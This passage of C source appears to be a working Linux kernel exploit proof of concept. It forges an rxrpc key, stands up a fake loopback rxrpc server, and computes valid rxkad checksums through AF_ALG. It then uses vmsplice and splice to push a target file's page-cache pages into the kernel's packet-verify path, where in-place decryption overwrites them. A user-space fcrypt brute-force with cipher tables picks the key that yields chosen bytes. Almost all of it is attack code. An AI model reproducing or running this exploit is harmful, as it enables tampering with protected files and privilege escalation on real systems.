    714 	*(uint32_t *)p = htonl(2); p += 4;   /* sec_ix = RXKAD */
    715 	*(uint32_t *)p = htonl(0); p += 4;   /* vice_id */
    716 	*(uint32_t *)p = htonl(1); p += 4;   /* kvno */
    717 	memcpy(p, SESSION_KEY, 8); p += 8;   /* session_key K */
    718 	*(uint32_t *)p = htonl(now); p += 4;
    719 	*(uint32_t *)p = htonl(expires); p += 4;
    720 	*(uint32_t *)p = htonl(1); p += 4;   /* primary_flag */
    721 	*(uint32_t *)p = htonl(8); p += 4;   /* ticket_len */
    722 	memset(p, 0xCC, 8); p += 8;          /* ticket */
    723 	uint32_t toklen = (uint32_t)(p - tokstart);
    724 	*(uint32_t *)toklen_p = htonl(toklen);
    725 	if ((size_t)(p - out) > maxlen) { errno = E2BIG; return -1; }
    726 	return (int)(p - out);
    727 }
    728 
    729 static long add_rxrpc_key(const char *desc)
    730 {
    731 	uint8_t buf[512];
    732 	int n = build_rxrpc_v1_token(buf, sizeof(buf));
    733 	if (n < 0) return -1;
    734 	return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING);
    735 }
    736 
    737 /* =================================================================== */
    738 /* AF_ALG pcbc(fcrypt) helpers                                          */
    739 /* =================================================================== */
    740 
    741 static int alg_open_pcbc_fcrypt(const uint8_t key[8])
    742 {
    743 	int s = socket(AF_ALG, SOCK_SEQPACKET, 0);
    744 	if (s < 0) { WARN("socket(AF_ALG): %s", strerror(errno)); return -1; }
    745 	struct sockaddr_alg sa = { .salg_family = AF_ALG };
    746 	strcpy((char *)sa.salg_type, "skcipher");
    747 	strcpy((char *)sa.salg_name, "pcbc(fcrypt)");
    748 	if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
    749 		WARN("bind(AF_ALG pcbc(fcrypt)): %s", strerror(errno));
    750 		close(s); return -1;
    751 	}
    752 	if (setsockopt(s, SOL_ALG, ALG_SET_KEY, key, 8) < 0) {
    753 		WARN("ALG_SET_KEY: %s", strerror(errno));
    754 		close(s); return -1;
    755 	}
    756 	return s;
    757 }
    758 
    759 /* Encrypt-or-decrypt a 1+ block of data with a given IV. */
    760 static int alg_op(int alg_s, int op, const uint8_t iv[8],
    761 		const void *in, size_t inlen, void *out)
    762 {
    763 	int op_fd = accept(alg_s, NULL, NULL);
    764 	if (op_fd < 0) { WARN("accept(AF_ALG): %s", strerror(errno)); return -1; }
    765 
    766 	char cbuf[CMSG_SPACE(sizeof(int)) +
    767 		CMSG_SPACE(sizeof(struct af_alg_iv) + 8)] = {0};
    768 	struct msghdr msg = {0};
    769 	msg.msg_control = cbuf;
    770 	msg.msg_controllen = sizeof(cbuf);
    771 
    772 	struct cmsghdr *c = CMSG_FIRSTHDR(&msg);
    773 	c->cmsg_level = SOL_ALG;
    774 	c->cmsg_type = ALG_SET_OP;
    775 	c->cmsg_len = CMSG_LEN(sizeof(int));
    776 	*(int *)CMSG_DATA(c) = op;
    777 
    778 	c = CMSG_NXTHDR(&msg, c);
    779 	c->cmsg_level = SOL_ALG;
    780 	c->cmsg_type = ALG_SET_IV;
    781 	c->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + 8);
    782 	struct af_alg_iv *aiv = (struct af_alg_iv *)CMSG_DATA(c);
    783 	aiv->ivlen = 8;
    784 	memcpy(aiv->iv, iv, 8);
    785 
    786 	struct iovec iov = { .iov_base = (void *)in, .iov_len = inlen };
    787 	msg.msg_iov = &iov; msg.msg_iovlen = 1;
    788 
    789 	if (sendmsg(op_fd, &msg, 0) < 0) {
    790 		WARN("AF_ALG sendmsg: %s", strerror(errno));
    791 		close(op_fd); return -1;
    792 	}
    793 	ssize_t n = read(op_fd, out, inlen);
    794 	close(op_fd);
    795 	if (n != (ssize_t)inlen) {
    796 		WARN("AF_ALG read got %zd want %zu: %s",
    797 				n, inlen, strerror(errno));
    798 		return -1;
    799 	}
    800 	return 0;
    801 }
    802 
    803 /* Compute conn->rxkad.csum_iv (ref: rxkad_prime_packet_security):
    804  *   tmpbuf[0..3] = htonl(epoch, cid, 0, security_ix)  (16 B)
    805  *   PCBC-encrypt(tmpbuf, IV=session_key) → out[16]
    806  *   csum_iv = out[8..15]   (last 8 B = "tmpbuf[2..3]" after encryption)
    807  */
    808 static int compute_csum_iv(uint32_t epoch, uint32_t cid, uint32_t sec_ix,
    809 		const uint8_t key[8], uint8_t csum_iv[8])
    810 {
    811 	int s = alg_open_pcbc_fcrypt(key);
    812 	if (s < 0) return -1;
    813 	uint32_t in[4]  = { htonl(epoch), htonl(cid), 0, htonl(sec_ix) };
    814 	uint8_t  out[16];
    815 	int rc = alg_op(s, ALG_OP_ENCRYPT, key, in, 16, out);
    816 	close(s);
    817 	if (rc < 0) return -1;
    818 	memcpy(csum_iv, out + 8, 8);
    819 	return 0;
    820 }
    821 
    822 /* Compute the wire cksum (ref: rxkad_secure_packet @rxkad.c:342):
    823  *   x = (cid_low2 << 30) | (seq & 0x3fffffff)
    824  *   buf[0] = htonl(call_id), buf[1] = htonl(x)    (8 B)
    825  *   PCBC-encrypt(buf, IV=csum_iv) → enc[8]
    826  *   y = ntohl(enc[1]); cksum = (y >> 16) & 0xffff;  if zero -> 1
    827  */
    828 static int compute_cksum(uint32_t cid, uint32_t call_id, uint32_t seq,
    829 		const uint8_t key[8], const uint8_t csum_iv[8],
    830 		uint16_t *cksum_out)
    831 {
    832 	int s = alg_open_pcbc_fcrypt(key);
    833 	if (s < 0) return -1;
    834 	uint32_t x = (cid & RXRPC_CHANNELMASK) << (32 - RXRPC_CIDSHIFT);
    835 	x |= seq & 0x3fffffff;
    836 	uint32_t in[2] = { htonl(call_id), htonl(x) };
    837 	uint32_t out[2];
    838 	int rc = alg_op(s, ALG_OP_ENCRYPT, csum_iv, in, 8, out);
    839 	close(s);
    840 	if (rc < 0) return -1;
    841 	uint32_t y = ntohl(out[1]);
    842 	uint16_t v = (y >> 16) & 0xffff;
    843 	if (v == 0) v = 1;
    844 	*cksum_out = v;
    845 	return 0;
    846 }
    847 
    848 /* =================================================================== */
    849 /* AF_RXRPC client                                                      */
    850 /* =================================================================== */
    851 
    852 static int setup_rxrpc_client(uint16_t local_port, const char *keyname)
    853 {
    854 	int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
    855 	if (fd < 0) { WARN("socket(AF_RXRPC client): %s", strerror(errno)); return -1; }
    856 	if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY,
    857 				keyname, strlen(keyname)) < 0) {
    858 		WARN("client SECURITY_KEY: %s", strerror(errno)); close(fd); return -1;
    859 	}
    860 	int min_level = RXRPC_SECURITY_AUTH;
    861 	if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL,
    862 				&min_level, sizeof(min_level)) < 0) {
    863 		WARN("client MIN_SECURITY_LEVEL: %s", strerror(errno));
    864 		close(fd); return -1;
    865 	}
    866 	struct sockaddr_rxrpc srx = {0};
    867 	srx.srx_family = AF_RXRPC;
    868 	srx.srx_service = 0;
    869 	srx.transport_type = SOCK_DGRAM;
    870 	srx.transport_len = sizeof(struct sockaddr_in);
    871 	srx.transport.sin.sin_family = AF_INET;
    872 	srx.transport.sin.sin_port = htons(local_port);
    873 	srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
    874 	if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) {
    875 		WARN("client bind :%u: %s", local_port, strerror(errno));
    876 		close(fd); return -1;
    877 	}
    878 	LOG("AF_RXRPC client bound :%u", local_port);
    879 	return fd;
    880 }
    881 
    882 static int rxrpc_client_initiate_call(int cli_fd, uint16_t srv_port,
    883 		uint16_t service_id,
    884 		unsigned long user_call_id)
    885 {
    886 	char data[8] = "PINGPING";
    887 	struct sockaddr_rxrpc srx = {0};
    888 	srx.srx_family = AF_RXRPC;
    889 	srx.srx_service = service_id;
    890 	srx.transport_type = SOCK_DGRAM;
    891 	srx.transport_len = sizeof(struct sockaddr_in);
    892 	srx.transport.sin.sin_family = AF_INET;
    893 	srx.transport.sin.sin_port = htons(srv_port);
    894 	srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
    895 
    896 	char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))];
    897 	struct msghdr msg = {0};
    898 	msg.msg_name = &srx; msg.msg_namelen = sizeof(srx);
    899 	struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) };
    900 	msg.msg_iov = &iov; msg.msg_iovlen = 1;
    901 	msg.msg_control = cmsg_buf; msg.msg_controllen = sizeof(cmsg_buf);
    902 	struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
    903 	cmsg->cmsg_level = SOL_RXRPC;
    904 	cmsg->cmsg_type = RXRPC_USER_CALL_ID;
    905 	cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long));
    906 	*(unsigned long *)CMSG_DATA(cmsg) = user_call_id;
    907 
    908 	/* Don't block forever if no reply ever comes through this single sendmsg. */
    909 	int fl = fcntl(cli_fd, F_GETFL);
    910 	fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK);
    911 
    912 	ssize_t n = sendmsg(cli_fd, &msg, 0);
    913 	fcntl(cli_fd, F_SETFL, fl);
    914 	if (n < 0) {
    915 		if (errno == EAGAIN || errno == EWOULDBLOCK) {
    916 			LOG("client sendmsg returned EAGAIN (expected; kernel will keep "
    917 					"retrying handshake)");
    918 			return 0;
    919 		}
    920 		WARN("client sendmsg: %s", strerror(errno));
    921 		return -1;
    922 	}
    923 	LOG("client sendmsg %zd B → :%u (handshake will follow asynchronously)",
    924 			n, srv_port);
    925 	return 0;
    926 }
    927 
    928 /* =================================================================== */
    929 /* fake-server (plain UDP)                                              */
    930 /* =================================================================== */
    931 
    932 static int setup_udp_server(uint16_t port)
    933 {
    934 	int s = socket(AF_INET, SOCK_DGRAM, 0);
    935 	if (s < 0) { WARN("socket(udp server): %s", strerror(errno)); return -1; }
    936 	struct sockaddr_in sa = {0};
    937 	sa.sin_family = AF_INET;
    938 	sa.sin_port = htons(port);
    939 	sa.sin_addr.s_addr = htonl(0x7F000001);
    940 	if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
    941 		WARN("udp server bind :%u: %s", port, strerror(errno));
    942 		close(s); return -1;
    943 	}
    944 	LOG("plain UDP fake-server bound :%u", port);
    945 	return s;
    946 }
    947 
    948 /* Receive one UDP datagram with timeout (ms). Returns bytes or -1. */
    949 static ssize_t udp_recv_to(int s, void *buf, size_t cap,
    950 		struct sockaddr_in *from, int timeout_ms)
    951 {
    952 	struct pollfd pfd = { .fd = s, .events = POLLIN };
    953 	int rc = poll(&pfd, 1, timeout_ms);
    954 	if (rc <= 0) return -1;
    955 	socklen_t fl = from ? sizeof(*from) : 0;
    956 	return recvfrom(s, buf, cap, 0,
    957 			(struct sockaddr *)from, from ? &fl : NULL);
    958 }
    959 
    960 /* =================================================================== */
    961 /* main PoC                                                             */
    962 /* =================================================================== */
    963 
    964 static int trigger_seq = 0;
    965 
    966 static int do_one_trigger(int target_fd, off_t splice_off, size_t splice_len)
    967 {
    968 	char keyname[32];
    969 	snprintf(keyname, sizeof(keyname), "evil%d", trigger_seq++);
    970 
    971 	long key = add_rxrpc_key(keyname);
    972 	if (key < 0) {
    973 		if (trigger_seq < 5) WARN("add_rxrpc_key(%s): %s", keyname, strerror(errno));
    974 		return -1;
    975 	}
    976 
    977 	/* Use varying ports so kernel TIME_WAIT / stale state does not bite. */
    978 	uint16_t port_S = 7777 + (trigger_seq * 2 % 200);
    979 	uint16_t port_C = port_S + 1;
    980 	uint16_t svc_id = 1234;
    981 
    982 	int udp_srv = setup_udp_server(port_S);
    983 	if (udp_srv < 0) {
    984 		if (trigger_seq < 5) WARN("setup_udp_server(%u) failed", port_S);
    985 		syscall(SYS_keyctl, 3 /*KEYCTL_INVALIDATE*/, key); return -1;
    986 	}
    987 
    988 	int rxsk_cli = setup_rxrpc_client(port_C, keyname);
    989 	if (rxsk_cli < 0) {
    990 		if (trigger_seq < 5) WARN("setup_rxrpc_client(%u, %s) failed", port_C, keyname);
    991 		close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
    992 	}
    993 
    994 	if (rxrpc_client_initiate_call(rxsk_cli, port_S, svc_id, 0xDEAD) < 0) {
    995 		if (trigger_seq < 5) WARN("rxrpc_client_initiate_call failed");
    996 		close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
    997 	}
    998 
    999 	uint8_t pkt[2048];
   1000 	struct sockaddr_in cli_addr;
   1001 	ssize_t n = udp_recv_to(udp_srv, pkt, sizeof(pkt), &cli_addr, 1500);
   1002 	if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) {
   1003 		if (trigger_seq < 5) WARN("udp_recv_to: n=%zd errno=%s", n, strerror(errno));
   1004 		close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
   1005 	}
   1006 	struct rxrpc_wire_header *whdr_in = (struct rxrpc_wire_header *)pkt;
   1007 	uint32_t epoch  = ntohl(whdr_in->epoch);
   1008 	uint32_t cid    = ntohl(whdr_in->cid);
   1009 	uint32_t callN  = ntohl(whdr_in->callNumber);
   1010 	uint16_t svc_in = ntohs(whdr_in->serviceId);
   1011 	uint16_t cli_port = ntohs(cli_addr.sin_port);
   1012 
   1013 	/* Send CHALLENGE */
   1014 	{
   1015 		struct {
   1016 			struct rxrpc_wire_header hdr;
   1017 			struct rxkad_challenge   ch;
   1018 		} __attribute__((packed)) c = {0};
   1019 		c.hdr.epoch = htonl(epoch);
   1020 		c.hdr.cid = htonl(cid);
   1021 		c.hdr.callNumber = 0; c.hdr.seq = 0;
   1022 		c.hdr.serial = htonl(0x10000);
   1023 		c.hdr.type = RXRPC_PACKET_TYPE_CHALLENGE;
   1024 		c.hdr.securityIndex = 2;
   1025 		c.hdr.serviceId = htons(svc_in);
   1026 		c.ch.version = htonl(2); c.ch.nonce = htonl(0xDEADBEEFu);
   1027 		c.ch.min_level = htonl(1);
   1028 		struct sockaddr_in to = { .sin_family=AF_INET, .sin_port=htons(cli_port),
   1029 			.sin_addr.s_addr=htonl(0x7F000001) };
   1030 		if (sendto(udp_srv, &c, sizeof(c), 0, (struct sockaddr*)&to, sizeof(to)) < 0) {
   1031 			close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
   1032 		}
   1033 	}
   1034 
   1035 	/* Drain RESPONSE (best-effort) */
   1036 	for (int i = 0; i < 4; i++) {
   1037 		struct sockaddr_in src;
   1038 		if (udp_recv_to(udp_srv, pkt, sizeof(pkt), &src, 500) < 0) break;
   1039 	}
   1040 
   1041 	/* csum + cksum with CURRENT SESSION_KEY */
   1042 	uint8_t csum_iv[8] = {0};
   1043 	if (compute_csum_iv(epoch, cid, 2, SESSION_KEY, csum_iv) < 0) {
   1044 		close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
   1045 	}
   1046 	uint16_t cksum_h = 0;
   1047 	if (compute_cksum(cid, callN, 1, SESSION_KEY, csum_iv, &cksum_h) < 0) {
   1048 		close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
   1049 	}
   1050 
   1051 	/* Build malicious DATA header */
   1052 	struct rxrpc_wire_header mal = {0};
   1053 	mal.epoch = htonl(epoch);
   1054 	mal.cid = htonl(cid);
   1055 	mal.callNumber = htonl(callN);
   1056 	mal.seq = htonl(1);
   1057 	mal.serial = htonl(0x42000);
   1058 	mal.type = RXRPC_PACKET_TYPE_DATA;
   1059 	mal.flags = RXRPC_LAST_PACKET;
   1060 	mal.securityIndex = 2;
   1061 	mal.cksum = htons(cksum_h);
   1062 	mal.serviceId = htons(svc_in);
   1063 
   1064 	/* connect udp_srv → client port for splice */
   1065 	struct sockaddr_in dst = { .sin_family=AF_INET, .sin_port=htons(cli_port),
   1066 		.sin_addr.s_addr=htonl(0x7F000001) };
   1067 	if (connect(udp_srv, (struct sockaddr*)&dst, sizeof(dst)) < 0) {
   1068 		close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
   1069 	}
   1070 
   1071 	/* pipe + vmsplice header + splice file → pipe → udp_srv */
   1072 	int p[2];
   1073 	if (pipe(p) < 0) {
   1074 		close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1;
   1075 	}
   1076 	{
   1077 		struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) };
   1078 		if (vmsplice(p[1], &viv, 1, 0) < 0) goto trig_fail;
   1079 	}
   1080 	{
   1081 		loff_t off = splice_off;
   1082 		if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0)
   1083 			goto trig_fail;
   1084 	}
   1085 	if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0) {
   1086 		goto trig_fail;
   1087 	}
   1088 	close(p[0]); close(p[1]);
   1089 
   1090 	/* recvmsg the malicious DATA into the kernel's verify_packet path */
   1091 	int fl = fcntl(rxsk_cli, F_GETFL);
   1092 	fcntl(rxsk_cli, F_SETFL, fl | O_NONBLOCK);
   1093 	for (int round = 0; round < 5; round++) {
   1094 		char rb[2048];
   1095 		struct sockaddr_rxrpc srx;
   1096 		char ccb[256];
   1097 		struct msghdr m = {0};
   1098 		struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) };
   1099 		m.msg_name = &srx; m.msg_namelen = sizeof(srx);
   1100 		m.msg_iov = &iv;  m.msg_iovlen = 1;
   1101 		m.msg_control = ccb; m.msg_controllen = sizeof(ccb);
   1102 		ssize_t r = recvmsg(rxsk_cli, &m, 0);
   1103 		if (r > 0) break;
   1104 		if (errno == EAGAIN || errno == EWOULDBLOCK) usleep(20000);
   1105 		else break;
   1106 	}
   1107 	fcntl(rxsk_cli, F_SETFL, fl);
   1108 
   1109 	close(rxsk_cli);
   1110 	close(udp_srv);
   1111 	syscall(SYS_keyctl, 3, key);
   1112 	return 0;
   1113 
   1114 trig_fail:
   1115 	close(p[0]); close(p[1]);
   1116 	close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key);
   1117 	return -1;
   1118 }
   1119 
   1120 /* ===================================================================
   1121  * USER-SPACE pcbc(fcrypt) BRUTE-FORCE
   1122  *
   1123  * The kernel's rxkad_verify_packet_1() does an in-place 8-byte
   1124  * pcbc(fcrypt) decrypt with iv=0 over the page-cache page at the splice
   1125  * offset.  pcbc with single 8-B block and IV=0 reduces to a plain
   1126  * fcrypt_decrypt(C, K).  We can therefore search for the right K
   1127  * entirely in user-space — without touching the kernel/VM at all —
   1128  * before applying ONE deterministic kernel trigger.
   1129  *
   1130  * Port of crypto/fcrypt.c from the kernel source (David Howells / KTH).
   1131  * Verified against kernel test vectors:
   1132  *   K=0,         decrypt(0E0900C73EF7ED41) = 00000000
   1133  *   K=1144...66, decrypt(D8ED787477EC0680) = 123456789ABCDEF0
   1134  * =================================================================== */
   1135 
   1136 static const uint8_t fc_sbox0_raw[256] = {
   1137 	0xea, 0x7f, 0xb2, 0x64, 0x9d, 0xb0, 0xd9, 0x11, 0xcd, 0x86, 0x86, 0x91, 0x0a, 0xb2, 0x93, 0x06,
   1138 	0x0e, 0x06, 0xd2, 0x65, 0x73, 0xc5, 0x28, 0x60, 0xf2, 0x20, 0xb5, 0x38, 0x7e, 0xda, 0x9f, 0xe3,
   1139 	0xd2, 0xcf, 0xc4, 0x3c, 0x61, 0xff, 0x4a, 0x4a, 0x35, 0xac, 0xaa, 0x5f, 0x2b, 0xbb, 0xbc, 0x53,
   1140 	0x4e, 0x9d, 0x78, 0xa3, 0xdc, 0x09, 0x32, 0x10, 0xc6, 0x6f, 0x66, 0xd6, 0xab, 0xa9, 0xaf, 0xfd,
   1141 	0x3b, 0x95, 0xe8, 0x34, 0x9a, 0x81, 0x72, 0x80, 0x9c, 0xf3, 0xec, 0xda, 0x9f, 0x26, 0x76, 0x15,
   1142 	0x3e, 0x55, 0x4d, 0xde, 0x84, 0xee, 0xad, 0xc7, 0xf1, 0x6b, 0x3d, 0xd3, 0x04, 0x49, 0xaa, 0x24,
   1143 	0x0b, 0x8a, 0x83, 0xba, 0xfa, 0x85, 0xa0, 0xa8, 0xb1, 0xd4, 0x01, 0xd8, 0x70, 0x64, 0xf0, 0x51,
   1144 	0xd2, 0xc3, 0xa7, 0x75, 0x8c, 0xa5, 0x64, 0xef, 0x10, 0x4e, 0xb7, 0xc6, 0x61, 0x03, 0xeb, 0x44,
   1145 	0x3d, 0xe5, 0xb3, 0x5b, 0xae, 0xd5, 0xad, 0x1d, 0xfa, 0x5a, 0x1e, 0x33, 0xab, 0x93, 0xa2, 0xb7,
   1146 	0xe7, 0xa8, 0x45, 0xa4, 0xcd, 0x29, 0x63, 0x44, 0xb6, 0x69, 0x7e, 0x2e, 0x62, 0x03, 0xc8, 0xe0,
   1147 	0x17, 0xbb, 0xc7, 0xf3, 0x3f, 0x36, 0xba, 0x71, 0x8e, 0x97, 0x65, 0x60, 0x69, 0xb6, 0xf6, 0xe6,
   1148 	0x6e, 0xe0, 0x81, 0x59, 0xe8, 0xaf, 0xdd, 0x95, 0x22, 0x99, 0xfd, 0x63, 0x19, 0x74, 0x61, 0xb1,
   1149 	0xb6, 0x5b, 0xae, 0x54, 0xb3, 0x70, 0xff, 0xc6, 0x3b, 0x3e, 0xc1, 0xd7, 0xe1, 0x0e, 0x76, 0xe5,
   1150 	0x36, 0x4f, 0x59, 0xc7, 0x08, 0x6e, 0x82, 0xa6, 0x93, 0xc4, 0xaa, 0x26, 0x49, 0xe0, 0x21, 0x64,
   1151 	0x07, 0x9f, 0x64, 0x81, 0x9c, 0xbf, 0xf9, 0xd1, 0x43, 0xf8, 0xb6, 0xb9, 0xf1, 0x24, 0x75, 0x03,
   1152 	0xe4, 0xb0, 0x99, 0x46, 0x3d, 0xf5, 0xd1, 0x39, 0x72, 0x12, 0xf6, 0xba, 0x0c, 0x0d, 0x42, 0x2e,
   1153 };
   1154 static const uint8_t fc_sbox1_raw[256] = {
   1155 	0x77, 0x14, 0xa6, 0xfe, 0xb2, 0x5e, 0x8c, 0x3e, 0x67, 0x6c, 0xa1, 0x0d, 0xc2, 0xa2, 0xc1, 0x85,
   1156 	0x6c, 0x7b, 0x67, 0xc6, 0x23, 0xe3, 0xf2, 0x89, 0x50, 0x9c, 0x03, 0xb7, 0x73, 0xe6, 0xe1, 0x39,
   1157 	0x31, 0x2c, 0x27, 0x9f, 0xa5, 0x69, 0x44, 0xd6, 0x23, 0x83, 0x98, 0x7d, 0x3c, 0xb4, 0x2d, 0x99,
   1158 	0x1c, 0x1f, 0x8c, 0x20, 0x03, 0x7c, 0x5f, 0xad, 0xf4, 0xfa, 0x95, 0xca, 0x76, 0x44, 0xcd, 0xb6,
   1159 	0xb8, 0xa1, 0xa1, 0xbe, 0x9e, 0x54, 0x8f, 0x0b, 0x16, 0x74, 0x31, 0x8a, 0x23, 0x17, 0x04, 0xfa,
   1160 	0x79, 0x84, 0xb1, 0xf5, 0x13, 0xab, 0xb5, 0x2e, 0xaa, 0x0c, 0x60, 0x6b, 0x5b, 0xc4, 0x4b, 0xbc,
   1161 	0xe2, 0xaf, 0x45, 0x73, 0xfa, 0xc9, 0x49, 0xcd, 0x00, 0x92, 0x7d, 0x97, 0x7a, 0x18, 0x60, 0x3d,
   1162 	0xcf, 0x5b, 0xde, 0xc6, 0xe2, 0xe6, 0xbb, 0x8b, 0x06, 0xda, 0x08, 0x15, 0x1b, 0x88, 0x6a, 0x17,
   1163 	0x89, 0xd0, 0xa9, 0xc1, 0xc9, 0x70, 0x6b, 0xe5, 0x43, 0xf4, 0x68, 0xc8, 0xd3, 0x84, 0x28, 0x0a,
   1164 	0x52, 0x66, 0xa3, 0xca, 0xf2, 0xe3, 0x7f, 0x7a, 0x31, 0xf7, 0x88, 0x94, 0x5e, 0x9c, 0x63, 0xd5,
   1165 	0x24, 0x66, 0xfc, 0xb3, 0x57, 0x25, 0xbe, 0x89, 0x44, 0xc4, 0xe0, 0x8f, 0x23, 0x3c, 0x12, 0x52,
   1166 	0xf5, 0x1e, 0xf4, 0xcb, 0x18, 0x33, 0x1f, 0xf8, 0x69, 0x10, 0x9d, 0xd3, 0xf7, 0x28, 0xf8, 0x30,
   1167 	0x05, 0x5e, 0x32, 0xc0, 0xd5, 0x19, 0xbd, 0x45, 0x8b, 0x5b, 0xfd, 0xbc, 0xe2, 0x5c, 0xa9, 0x96,
   1168 	0xef, 0x70, 0xcf, 0xc2, 0x2a, 0xb3, 0x61, 0xad, 0x80, 0x48, 0x81, 0xb7, 0x1d, 0x43, 0xd9, 0xd7,
   1169 	0x45, 0xf0, 0xd8, 0x8a, 0x59, 0x7c, 0x57, 0xc1, 0x79, 0xc7, 0x34, 0xd6, 0x43, 0xdf, 0xe4, 0x78,
   1170 	0x16, 0x06, 0xda, 0x92, 0x76, 0x51, 0xe1, 0xd4, 0x70, 0x03, 0xe0, 0x2f, 0x96, 0x91, 0x82, 0x80,
   1171 };
   1172 static const uint8_t fc_sbox2_raw[256] = {
   1173 	0xf0, 0x37, 0x24, 0x53, 0x2a, 0x03, 0x83, 0x86, 0xd1, 0xec, 0x50, 0xf0, 0x42, 0x78, 0x2f, 0x6d,
   1174 	0xbf, 0x80, 0x87, 0x27, 0x95, 0xe2, 0xc5, 0x5d, 0xf9, 0x6f, 0xdb, 0xb4, 0x65, 0x6e, 0xe7, 0x24,
   1175 	0xc8, 0x1a, 0xbb, 0x49, 0xb5, 0x0a, 0x7d, 0xb9, 0xe8, 0xdc, 0xb7, 0xd9, 0x45, 0x20, 0x1b, 0xce,
   1176 	0x59, 0x9d, 0x6b, 0xbd, 0x0e, 0x8f, 0xa3, 0xa9, 0xbc, 0x74, 0xa6, 0xf6, 0x7f, 0x5f, 0xb1, 0x68,
   1177 	0x84, 0xbc, 0xa9, 0xfd, 0x55, 0x50, 0xe9, 0xb6, 0x13, 0x5e, 0x07, 0xb8, 0x95, 0x02, 0xc0, 0xd0,
   1178 	0x6a, 0x1a, 0x85, 0xbd, 0xb6, 0xfd, 0xfe, 0x17, 0x3f, 0x09, 0xa3, 0x8d, 0xfb, 0xed, 0xda, 0x1d,
   1179 	0x6d, 0x1c, 0x6c, 0x01, 0x5a, 0xe5, 0x71, 0x3e, 0x8b, 0x6b, 0xbe, 0x29, 0xeb, 0x12, 0x19, 0x34,
   1180 	0xcd, 0xb3, 0xbd, 0x35, 0xea, 0x4b, 0xd5, 0xae, 0x2a, 0x79, 0x5a, 0xa5, 0x32, 0x12, 0x7b, 0xdc,
   1181 	0x2c, 0xd0, 0x22, 0x4b, 0xb1, 0x85, 0x59, 0x80, 0xc0, 0x30, 0x9f, 0x73, 0xd3, 0x14, 0x48, 0x40,
   1182 	0x07, 0x2d, 0x8f, 0x80, 0x0f, 0xce, 0x0b, 0x5e, 0xb7, 0x5e, 0xac, 0x24, 0x94, 0x4a, 0x18, 0x15,
   1183 	0x05, 0xe8, 0x02, 0x77, 0xa9, 0xc7, 0x40, 0x45, 0x89, 0xd1, 0xea, 0xde, 0x0c, 0x79, 0x2a, 0x99,
   1184 	0x6c, 0x3e, 0x95, 0xdd, 0x8c, 0x7d, 0xad, 0x6f, 0xdc, 0xff, 0xfd, 0x62, 0x47, 0xb3, 0x21, 0x8a,
   1185 	0xec, 0x8e, 0x19, 0x18, 0xb4, 0x6e, 0x3d, 0xfd, 0x74, 0x54, 0x1e, 0x04, 0x85, 0xd8, 0xbc, 0x1f,
   1186 	0x56, 0xe7, 0x3a, 0x56, 0x67, 0xd6, 0xc8, 0xa5, 0xf3, 0x8e, 0xde, 0xae, 0x37, 0x49, 0xb7, 0xfa,
   1187 	0xc8, 0xf4, 0x1f, 0xe0, 0x2a, 0x9b, 0x15, 0xd1, 0x34, 0x0e, 0xb5, 0xe0, 0x44, 0x78, 0x84, 0x59,
   1188 	0x56, 0x68, 0x77, 0xa5, 0x14, 0x06, 0xf5, 0x2f, 0x8c, 0x8a, 0x73, 0x80, 0x76, 0xb4, 0x10, 0x86,
   1189 };
   1190 static const uint8_t fc_sbox3_raw[256] = {
   1191 	0xa9, 0x2a, 0x48, 0x51, 0x84, 0x7e, 0x49, 0xe2, 0xb5, 0xb7, 0x42, 0x33, 0x7d, 0x5d, 0xa6, 0x12,
   1192 	0x44, 0x48, 0x6d, 0x28, 0xaa, 0x20, 0x6d, 0x57, 0xd6, 0x6b, 0x5d, 0x72, 0xf0, 0x92, 0x5a, 0x1b,
   1193 	0x53, 0x80, 0x24, 0x70, 0x9a, 0xcc, 0xa7, 0x66, 0xa1, 0x01, 0xa5, 0x41, 0x97, 0x41, 0x31, 0x82,
   1194 	0xf1, 0x14, 0xcf, 0x53, 0x0d, 0xa0, 0x10, 0xcc, 0x2a, 0x7d, 0xd2, 0xbf, 0x4b, 0x1a, 0xdb, 0x16,
   1195 	0x47, 0xf6, 0x51, 0x36, 0xed, 0xf3, 0xb9, 0x1a, 0xa7, 0xdf, 0x29, 0x43, 0x01, 0x54, 0x70, 0xa4,
   1196 	0xbf, 0xd4, 0x0b, 0x53, 0x44, 0x60, 0x9e, 0x23, 0xa1, 0x18, 0x68, 0x4f, 0xf0, 0x2f, 0x82, 0xc2,
   1197 	0x2a, 0x41, 0xb2, 0x42, 0x0c, 0xed, 0x0c, 0x1d, 0x13, 0x3a, 0x3c, 0x6e, 0x35, 0xdc, 0x60, 0x65,
   1198 	0x85, 0xe9, 0x64, 0x02, 0x9a, 0x3f, 0x9f, 0x87, 0x96, 0xdf, 0xbe, 0xf2, 0xcb, 0xe5, 0x6c, 0xd4,
